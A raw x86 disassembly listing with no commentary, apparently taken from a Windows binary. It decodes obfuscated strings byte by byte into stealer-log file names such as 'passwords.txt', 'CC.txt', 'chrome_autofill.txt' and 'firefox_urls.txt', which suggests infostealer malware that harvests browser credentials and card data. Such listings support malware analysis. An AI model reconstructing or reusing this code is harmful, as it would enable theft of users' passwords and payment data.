lea ecx, [ebp - 0x82]
call fcn.00410f8d
lea ecx, [ebp - 0x82]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
lea ecx, [ebp - 0xc2c]
push ecx
mov ecx, eax
call fcn.00422ab3
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0x3e
mov esi, dword [ebp - 0x24]
or esi, 8
push 0x489068
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x24], esi
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push 0x70
lea ecx, [ebp - 0x7d]
mov dword [ebp - 0x2d8], eax
mov byte [ebp - 0x7d], 0x18
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x7d]
mov byte [ebp - 0x7c], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x7d]
mov byte [ebp - 0x7b], al
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x7d]
mov byte [ebp - 0x7a], al
call fcn.004197ad
mov byte [ebp - 0x79], al
xor esi, esi
mov byte [ebp - 0x78], 0
push esi
lea ecx, [ebp - 0x7c]
call fcn.00410f8d
lea ecx, [ebp - 0x7d]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x7c]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 4
jb 0x42bff3
push 4
lea ecx, [ebp - 0x7c]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x7c]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x2d8]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
mov esi, dword [ebp - 0x24]
test al, al
je 0x42c06a
push 0x47734b
lea ecx, [ebp - 0xc14]
call fcn.00411d34
mov dword [ebp - 4], 0x3f
or esi, 0x10
jmp 0x42c134
push 0x489068
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push 0x70
lea ecx, [ebp - 0x77]
mov dword [ebp - 0x2d8], eax
mov byte [ebp - 0x77], 0x4e
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x77]
mov byte [ebp - 0x76], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x77]
mov byte [ebp - 0x75], al
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x77]
mov byte [ebp - 0x74], al
call fcn.004197ad
mov byte [ebp - 0x73], al
mov esi, ebx
mov byte [ebp - 0x72], bl
push esi
lea ecx, [ebp - 0x76]
call fcn.00410f8d
lea ecx, [ebp - 0x77]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x76]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 4
jb 0x42c0cf
push 4
lea ecx, [ebp - 0x76]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x76]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x2d8]
push eax
call fcn.00422a2b
lea ecx, [ebp - 0xbfc]
push ecx
mov ecx, eax
call fcn.00422ab3
mov dword [ebp - 4], 0x40
mov esi, dword [ebp - 0x24]
or esi, 0x20
push dword [ebp - 0x35c]
mov edx, eax
mov dword [ebp - 0x24], esi
push dword [ebp - 0x360]
mov ecx, 0x489050
push dword [ebp - 0x278]
push dword [ebp - 0x18]
push dword [ebp - 0x20]
call fcn.004149de
mov eax, esi
add esp, 0x14
test al, 0x20
je 0x42c178
and eax, 0xffffffdf
lea ecx, [ebp - 0xbfc]
mov dword [ebp - 0x24], eax
call fcn.00411ce9
mov eax, dword [ebp - 0x24]
test al, 0x10
je 0x42c190
and eax, 0xffffffef
lea ecx, [ebp - 0xc14]
mov dword [ebp - 0x24], eax
call fcn.00411ce9
mov eax, dword [ebp - 0x24]
test al, 8
je 0x42c1a8
and eax, 0xfffffff7
lea ecx, [ebp - 0xc2c]
mov dword [ebp - 0x24], eax
call fcn.00411ce9
mov eax, dword [ebp - 0x24]
test al, 4
je 0x42c1c0
and eax, 0xfffffffb
lea ecx, [ebp - 0xc44]
mov dword [ebp - 0x24], eax
call fcn.00411ce9
mov eax, dword [ebp - 0x24]
test al, 2
je 0x42c1d8
and eax, 0xfffffffd
lea ecx, [ebp - 0xc5c]
mov dword [ebp - 0x24], eax
call fcn.00411ce9
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], 0x35
test al, 1
je 0x42c1f4
and eax, 0xfffffffe
lea ecx, [ebp - 0xc74]
mov dword [ebp - 0x24], eax
call fcn.00411ce9
mov esi, dword [ebp - 0x28]
inc esi
lea ecx, [ebp - 0x40]
push 0x489068
mov dword [ebp - 0x28], esi
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.0042470a
cmp esi, eax
jb 0x42b515
mov eax, dword [ebp - 0x364]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x42c238
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x368]
test eax, eax
je 0x42c247
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x36c]
test eax, eax
je 0x42c256
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x370]
test eax, eax
je 0x42c265
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x374]
test eax, eax
je 0x42c274
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x378]
test eax, eax
je 0x42c283
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x37c]
test eax, eax
je 0x42c292
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x380]
test eax, eax
je 0x42c2a1
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x384]
test eax, eax
je 0x42c2b0
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x388]
test eax, eax
je 0x42c2bf
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x38c]
test eax, eax
je 0x42c2ce
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x390]
test eax, eax
je 0x42c2dd
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x42c2e9
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x42c2f5
push 0xffffffffffffffff
push eax
call esi
push ebx
push ebx
lea eax, [ebp - 0xaf4]
push eax
push 0x43454a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x489098
mov dword [ebp - 0x1c], eax
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x42c346
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x5e4]
mov ecx, 0x48b9a8
push eax
call fcn.004113fc
lea eax, [ebp - 0x5cc]
mov byte [ebp - 4], 0x41
push eax
mov ecx, 0x48bb08
call fcn.004113fc
lea eax, [ebp - 0x5b4]
mov byte [ebp - 4], 0x42
push eax
mov ecx, 0x48ba58
call fcn.004113fc
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0x43
call fcn.00411b3d
test al, al
jne 0x42c51b
lea ecx, [ebp - 0x5e4]
call fcn.00411bb3
push ebx
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x1c], eax
call fcn.00411bc2
push 0x70
lea ecx, [ebp - 0x175]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x175], 0x68
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x174], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x173], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x172], al
call fcn.004197ad
push 0x77
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x171], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x170], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x16f], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x16e], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x16d], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x16c], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x16b], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x16a], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x175]
mov byte [ebp - 0x169], al
call fcn.004197ad
mov byte [ebp - 0x168], al
mov esi, ebx
mov byte [ebp - 0x167], bl
push esi
lea ecx, [ebp - 0x174]
call fcn.00410f8d
lea ecx, [ebp - 0x175]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x174]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xd
jb 0x42c4b9
push 0xd
lea ecx, [ebp - 0x174]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x174]
mov byte [eax], bl
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
push dword [ebp - 0x2c]
call fcn.0043b7a8
pop ecx
pop ecx
lea ecx, [ebp - 0x5cc]
call fcn.00411b3d
test al, al
jne 0x42c62c
lea ecx, [ebp - 0x5cc]
call fcn.00411bb3
push ebx
lea ecx, [ebp - 0x5cc]
mov dword [ebp - 0x1c], eax
call fcn.00411bc2
push 0x43
lea ecx, [ebp - 0xbf]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0xbf], 0x24
call fcn.004197ad
push 0x43
lea ecx, [ebp - 0xbf]
mov byte [ebp - 0xbe], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0xbf]
mov byte [ebp - 0xbd], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xbf]
mov byte [ebp - 0xbc], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0xbf]
mov byte [ebp - 0xbb], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xbf]
mov byte [ebp - 0xba], al
call fcn.004197ad
mov byte [ebp - 0xb9], al
mov esi, ebx
mov byte [ebp - 0xb8], bl
push esi
lea ecx, [ebp - 0xbe]
call fcn.00410f8d
lea ecx, [ebp - 0xbf]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xbe]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 6
jb 0x42c5ca
push 6
lea ecx, [ebp - 0xbe]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0xbe]
mov byte [eax], bl
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
push dword [ebp - 0x2c]
call fcn.0043b7a8
pop ecx
pop ecx
lea ecx, [ebp - 0x5b4]
call fcn.00411b3d
test al, al
jne 0x42c8ec
lea ecx, [ebp - 0x5b4]
call fcn.00411bb3
push ebx
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 0x1c], eax
call fcn.00411bc2
push 0x62
lea ecx, [ebp - 0x24a]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x24a], 0x1a
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x249], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x248], al
call fcn.004197ad
push 0x77
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x247], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x246], al
call fcn.004197ad
push 0x65
pop esi
push esi
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x245], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x244], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x243], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x242], al
call fcn.004197ad
push 0x63
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x241], al
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x240], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x23f], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x23e], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x23d], al
call fcn.004197ad
push esi
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x23c], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x23b], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x23a], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x239], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x238], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x237], al
call fcn.004197ad
push 0x66
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x236], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x235], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x234], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x233], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x232], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x231], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x230], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x24a]
mov byte [ebp - 0x22f], al
call fcn.004197ad
mov byte [ebp - 0x22e], al
mov eax, ebx
mov byte [ebp - 0x22d], bl
mov dword [ebp - 0x18], ebx
push eax
lea ecx, [ebp - 0x249]
call fcn.00410f8d
lea ecx, [ebp - 0x24a]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x249]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x1c
jb 0x42c880
push 0x1c
lea ecx, [ebp - 0x249]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x249]
mov byte [eax], bl
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
push dword [ebp - 0x2c]
call fcn.0043b7a8
pop ecx
pop ecx
jmp 0x42c8ef
push 0x65
pop esi
push 0x62
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xef], 0x47
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xee], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xed], al
call fcn.004197ad
push 0x77
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xec], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xeb], al
call fcn.004197ad
push esi
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xea], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xe9], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xe8], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xe7], al
call fcn.004197ad
mov byte [ebp - 0xe6], al
mov eax, ebx
mov byte [ebp - 0xe5], bl
mov dword [ebp - 0x18], ebx
push eax
lea ecx, [ebp - 0xee]
call fcn.00410f8d
lea ecx, [ebp - 0xef]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0xee]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 9
jb 0x42c9ab
push 9
lea ecx, [ebp - 0xee]
call fcn.00410f8d
lea ecx, [ebp - 0xee]
mov byte [eax], 0
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x564]
call fcn.00411d34
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x1dc]
push 0x66
mov byte [ebp - 0x1dc], 0x26
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1db], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1da], al
call fcn.004197ad
push esi
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d9], al
call fcn.004197ad
push 0x66
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d8], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d7], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d6], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d5], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d4], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d3], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d2], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d1], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1d0], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1cf], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1ce], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1cd], al
call fcn.004197ad
mov byte [ebp - 0x1cc], al
xor eax, eax
mov byte [ebp - 0x1cb], 0
mov dword [ebp - 0x18], eax
push eax
lea ecx, [ebp - 0x1db]
call fcn.00410f8d
lea ecx, [ebp - 0x1dc]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1db]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x10
jb 0x42cb4f
push 0x10
lea ecx, [ebp - 0x1db]
call fcn.00410f8d
lea ecx, [ebp - 0x1db]
mov byte [eax], 0
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x614]
call fcn.00411d34
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x1ca]
push 0x63
mov byte [ebp - 0x1ca], 0x1c
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c9], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c8], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c7], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c6], al
call fcn.004197ad
push esi
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c5], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c4], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c3], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c2], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c1], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1c0], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1bf], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1be], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1bd], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1ca]
mov byte [ebp - 0x1bc], al
call fcn.004197ad
mov byte [ebp - 0x1bb], al
xor eax, eax
mov byte [ebp - 0x1ba], 0
mov dword [ebp - 0x18], eax
push eax
lea ecx, [ebp - 0x1c9]
call fcn.00410f8d
lea ecx, [ebp - 0x1ca]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1c9]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0xf
jb 0x42cce0
push 0xf
lea ecx, [ebp - 0x1c9]
call fcn.00410f8d
lea ecx, [ebp - 0x1c9]
mov byte [eax], 0
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x62c]
call fcn.00411d34
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x1a8]
push 0x69
mov byte [ebp - 0x1a8], 0x6f
call fcn.004197ad
push esi
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a7], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a6], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a5], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a4], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a3], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a2], al
call fcn.004197ad
push 0x66
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a1], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x1a0], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x19f], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x19e], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x19d], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x19c], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x19b], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 0x19a], al
call fcn.004197ad
mov byte [ebp - 0x199], al
xor eax, eax
mov byte [ebp - 0x198], 0
mov dword [ebp - 0x18], eax
push eax
lea ecx, [ebp - 0x1a7]
call fcn.00410f8d
lea ecx, [ebp - 0x1a8]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1a7]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0xf
jb 0x42ce70
push 0xf
lea ecx, [ebp - 0x1a7]
call fcn.00410f8d
lea ecx, [ebp - 0x1a7]
mov byte [eax], 0
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x644]
call fcn.00411d34
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x1b9]
push 0x69
mov byte [ebp - 0x1b9], 0x1a
call fcn.004197ad
push esi
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b8], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b7], al
call fcn.004197ad
push 0x66
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b6], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b5], al
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b4], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b3], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b2], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b1], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1b0], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1af], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1ae], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1ad], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1ac], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1b9]
mov byte [ebp - 0x1ab], al
call fcn.004197ad
mov byte [ebp - 0x1aa], al
xor esi, esi
mov byte [ebp - 0x1a9], 0
push esi
lea ecx, [ebp - 0x1b8]
call fcn.00410f8d
lea ecx, [ebp - 0x1b9]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x1b8]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xf
jb 0x42cffc
push 0xf
lea ecx, [ebp - 0x1b8]
call fcn.00410f8d
lea ecx, [ebp - 0x1b8]
mov byte [eax], 0
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x59c]
call fcn.00411d34
lea ecx, [ebp - 0x614]
mov byte [ebp - 4], 0x48
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
lea ecx, [ebp - 0x614]
mov edi, eax
call fcn.00411bb7
lea ecx, [ebp - 0x564]
mov esi, eax
call fcn.00411bb7
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov ecx, dword [0x48b988]
mov edx, eax
push edi
call fcn.0043b794
pop ecx
lea ecx, [ebp - 0x614]
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x77c]
call fcn.00411d34
lea ecx, [ebp - 0x77c]
mov byte [ebp - 4], 0x49
call fcn.0040bed4
lea ecx, [ebp - 0x77c]
mov byte [ebp - 4], 0x48
call fcn.00411ce9
lea ecx, [ebp - 0x62c]
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
lea ecx, [ebp - 0x62c]
mov edi, eax
call fcn.00411bb7
lea ecx, [ebp - 0x564]
mov esi, eax
call fcn.00411bb7
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov ecx, dword [0x48b988]
mov edx, eax
push edi
call fcn.0043b794
pop ecx
lea ecx, [ebp - 0x62c]
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x794]
call fcn.00411d34
lea ecx, [ebp - 0x794]
mov byte [ebp - 4], 0x4a
call fcn.0040bed4
lea ecx, [ebp - 0x794]
mov byte [ebp - 4], 0x48
call fcn.00411ce9
lea ecx, [ebp - 0x644]
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
lea ecx, [ebp - 0x644]
mov edi, eax
call fcn.00411bb7
lea ecx, [ebp - 0x564]
mov esi, eax
call fcn.00411bb7
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov ecx, dword [0x48b988]
mov edx, eax
push edi
call fcn.0043b794
pop ecx
lea ecx, [ebp - 0x59c]
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
lea ecx, [ebp - 0x59c]
mov edi, eax
call fcn.00411bb7
lea ecx, [ebp - 0x564]
mov esi, eax
call fcn.00411bb7
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov ecx, dword [0x48b988]
mov edx, eax
push edi
call fcn.0043b794
pop ecx
lea ecx, [ebp - 0x59c]
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x7ac]
call fcn.00411d34
lea ecx, [ebp - 0x7ac]
mov byte [ebp - 4], 0x4b
call fcn.0040bed4
lea ecx, [ebp - 0x7ac]
mov byte [ebp - 4], 0x48
call fcn.00411ce9
push 0x6f
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x13c], 0x66
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x13b], al
call fcn.004197ad
push 0x74
pop edi
push edi
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x13a], al
call fcn.004197ad
